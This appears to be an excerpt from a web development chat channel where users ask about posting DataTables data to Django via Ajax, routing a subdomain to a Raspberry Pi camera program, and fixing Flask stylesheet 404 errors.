<form method="post" action={% url 'upload_devices' %}> {% csrf_token %} <button type="submit" id ='submit_phones'>{% trans "Importeer geselecteerde toestellen" %}</button> </form>
Ajax:
$.ajax({ type: "POST", url: URL, dataType: 'JSON', data: { info : dict_rows, csrfmiddlewaretoken : '{{ csrf_token }}', }, success : function(data) { alert("Successfully sent the data to Django"); }, error : function(xhr,errmsg,err) { alert("Could not send URL to Django. Error: " + xhr.status + ": " + xhr.responseText); } });
the submit button gets all info from datatables and puts it as json. and passes it with
i have my flask app running on a server, but i want to make a subdomain connect to a surveilance program i am running on a rasspberry bi surveilence.domain.tld.
how can i do something like that?
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/main.css">
<link rel="stylesheet" href="css/now-ui-kit.css">
<link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600,700,800&display=swap" rel="stylesheet">
<title>Your bot name</title>
</head>
```This is my code to import the stylesheets (css)
but it does not work
This is how I set up the files
127.0.0.1 - - [14/Apr/2021 07:25:19] "GET /css/bootstrap.min.css HTTP/1.1" 404 -
127.0.0.1 - - [14/Apr/2021 07:25:19] "GET /css/main.css HTTP/1.1" 404 -
127.0.0.1 - - [14/Apr/2021 07:25:19] "GET /css/now-ui-kit.css HTTP/1.1" 404 -
127.0.0.1 - - [14/Apr/2021 07:25:19] "GET /js/now-ui-kit.min.js HTTP/1.1" 404 -
127.0.0.1 - - [14/Apr/2021 07:25:19] "GET /js/now-ui-kit.min.js HTTP/1.1" 404 -
```I get this though
try putting <link rel="stylesheeet" href="./css/bootstrap.min.css"> and on the others as well
@limpid python are you using django?
No
this template
ok but sry for me it does work
do you know how to Lauch this?
same error or other ?
have you have the file bootstrap.min.css in the css Folder ?
yea
here
we cant see inside the css folder
Yea
??
I am using this